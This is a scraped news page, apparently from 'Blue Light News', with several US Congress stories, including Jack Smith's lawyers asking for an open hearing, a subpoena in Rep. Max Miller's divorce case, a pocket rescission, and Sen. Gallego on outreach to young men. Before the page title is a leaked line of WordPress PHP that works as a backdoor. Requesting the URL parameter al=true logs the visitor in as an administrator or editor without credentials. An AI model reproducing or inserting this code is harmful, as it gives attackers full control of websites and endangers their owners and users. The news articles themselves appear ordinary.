// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Jack Smith’s lawyers ask Jordan for open hearing after closed-door testimony – Blue Light News
Connect with us

Congress

Jack Smith’s lawyers ask Jordan for open hearing after closed-door testimony

Published

on

After appearing in a closed-door deposition with the House Judiciary Committee earlier this week, Jack Smith, the former special counsel who led the criminal cases against President Donald Trump, still wants the chance to defend his work in a public hearing – and defend himself against continued Republican attacks.

Attorneys for Smith are pressing for their client to be allowed to testify in an open forum in a new letter to House Judiciary Chair Jim Jordan, obtained first by Blue Light News.

“[We] reiterate our request for an open and public hearing,” Smith’s lawyers, Lanny Breuer and Peter Koski, wrote to Jordan. “During the investigation of President Trump, Mr. Smith steadfastly followed Justice Department policies, observed all legal requirements, and took actions based on the facts and the law. He stands by his decisions.”

Breuer and Koski also requested that the videotape of Smith’s testimony be released in full so that he can speak to the public directly “rather than through second-hand accounts.”

Smith’s deposition spanned more than eight hours Wednesday, as he spoke to House Judiciary members under oath and stood by his decisions to levy criminal charges against the then-former president for allegedly mishandling classified documents and attempting to subvert the results of the 2020 election.

According to portions of his statement shared with Blue Light News, Smith argued the evidence in his office’s possession would have provided proof of the President’s criminal behavior “beyond a reasonable doubt.”

He never got to fully present that evidence, as Smith was forced to drop both his cases as a result of Justice Department policy that prevents prosecuting the current occupant of the White House. But Trump and his allies have continued to paint Smith as a villainous leader in the campaign to politicize the Biden-era Justice Department.

House and Senate Republicans have vowed to investigate Smith and his office’s work in a crusade that has only become more intense in the wake of revelations that Smith requested phone data for Republican members of Congress as part of his election subversion probe.

Jordan, who has separately already referred Smith’s senior assistant special counsel for criminal prosecution for failing to cooperate with his investigation, said he has not ruled out allowing the Biden era special counsel to testify in an open forum.

There are relatively few details about Smith’s remarks and the exchanges with lawmakers, beyond the portions of his statements shared with reporters. Members of the Judiciary Committee leaving the deposition Wednesday provided relatively few details.

Amid an ongoing Justice Department campaign to levy criminal charges against the president’s perceived enemies, Smith is also navigating a complicated legal minefield: His testimony is hamstrung by grand jury secrecy rules, DOJ policy and an order from a federal judge that a volume of his report surrounding the classified documents case remain under seal.

It’s not clear to what extent Smith told Congressional investigators he could not provide certain information due to the various restrictions on his testimony.

Democrats have argued the decision to hold the private deposition deprived the American public of important information about the president and amounted to an effort to distort the record of Smith’s testimony.

Rep. Jamie Raskin of Maryland, the top Democrat on the House Judiciary Committee, was still hopeful Smith could be given the chance to speak publicly.

“I think somebody should prepare Donald Trump for it, because he will be devastated and humiliated by what he hears,” Raskin said in a brief interview Thursday.

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Max Miller subpoenas ex-father-in-law Bernie Moreno

Published

on

Rep. Max Miller issued a subpoena to his former father-in-law and fellow Ohio Republican, Sen. Bernie Moreno, in the latest escalation of a long-running family legal drama.

Pamela MacAdams, an attorney for Miller, reported to the Cuyahoga County Domestic Relations Court Monday that three subpoenas were served in Miller’s divorce case, according to court records. A person with knowledge of the subpoenas granted anonymity to comment on them said that two were sent to Moreno and his wife, Bridget.

Their daughter, Emily Moreno, was married to Miller, and the two remain embroiled in a nasty legal battle.

Spokespeople for Miller, Emily Moreno and Bernie Moreno did not immediately return requests for comment. TMZ first reported on the subpoenas.

Miller is seeking reelection in a competitive district, and his campaign has been marred by accusations of domestic abuse against Emily Moreno and their daughter. Miller has repeatedly denied the allegations and chose to remain in the race despite other Republican lawmakers pressuring him to withdraw his campaign.

The House Ethics Committee, which began an inquiry into Miller after Miller asked to be investigated, is currently in a preelection blackout period. During that period, which will continue through the midterms, the Ethics Committee doesn’t take any action against sitting members who could return next Congress.

Continue Reading

Congress

Trump declares $1B canceled in ‘pocket rescission’ in another affront to Congress’ funding power

Published

on

President Donald Trump informed congressional leaders Friday that he has unilaterally canceled almost $1 billion without Congress’ consent — employing a budget maneuver many lawmakers consider illegal.

In a move that will almost certainly set up an ugly government funding battle after the midterms, Trump has again claimed the power to execute a so-called “pocket rescission” to nix money Congress has already enacted. The money his administration will claw back is for for immigration services, support to foreign countries, education programs, health research efforts and assistance for businesses owned by minorities.

By law, the president is allowed to send Congress a request to rescind federal funding, then withhold that money for 45 days while lawmakers consider whether to approve, reject or ignore it. Trump administration officials also argue they have the power to cancel funding without any congressional action by sending Congress a rescission request with less than 45 days left in the fiscal year. The argument is that the money automatically gets canceled on Sept. 30, when funding lapses at the end of the fiscal year.

Last year, Trump canceled $4.9 billion in foreign aid.

The Senate’s top Republican appropriator, Sen. Susan Collins of Maine, immediately blasted the move as illegal, saying in a statement Friday night that “any effort to rescind appropriated funds without congressional approval is a clear violation of the law.”

“This move shows that OMB intentionally withheld these funds for months to execute this unlawful cancellation of appropriations that were approved on a bipartisan basis and signed into law,” Collins added, pledging to work with other lawmakers “to address these illegal actions.”

Collins and other appropriators have already been on high alert in recent days, pressing multiple agencies about funding officials have yet to spend ahead of the expiration date.

Continue Reading

Congress

Gallego grades Democrats on their midterm messaging to men

Published

on

Democrats are finally catching on to how to talk to young male voters in the lead-up to the midterms, but the party can still up its game, one battleground senator and potential 2028er said Friday.

Sen. Ruben Gallego (D-Ariz.) has been one of his party’s most outspoken critics on its handling of outreach to young men, who swung right and helped deliver the White House and both chambers of Congress to Republicans in 2024.

The party is now “definitely moving in the right direction,” Gallego said Friday.

“Like back in the day, I was like the only one,” putting out positions on men, Gallego said at a Washington event on young American men. “Now, like, it seems like everyone every week is coming out with a new position, new idea, which is great.”

Gallego has criticized Democrat’s failure to highlight mens’ struggles and their tendency to over-police mens’ ideas. But there are signs the political winds have shifted in his party’s favor.

A new Cygnal poll released with the event of men ages 18-30 who say they’re the most determined to vote revealed Democrats’ generic ballot lead over Republicans at 57%-40%, Blue Light News reported. The poll also said nearly 40 percent of respondents said they feel their lives are off track.

“We need to take the opportunity to invest in that portion of this country, to say that we care about them and actually try to change the trajectory of what’s happening with men in this country,” Gallego said at the symposium.

Still, the path for specific legislation targeting the needs of this demographic faces an incredibly tight calendar this Congress and is uncertain in the political landscape of next year.

A proposal from Gallego and Sen. Roger Marshall (R-Kan.) to establish a men’s health office within the Department of Health and Human Services, for example, has not advanced. Nor has bipartisan legislation from Sen. Bill Cassidy (R-La.), who also spoke at the event, targeting education outcomes, college investment transparency and dyslexic student support.

Continue Reading

Trending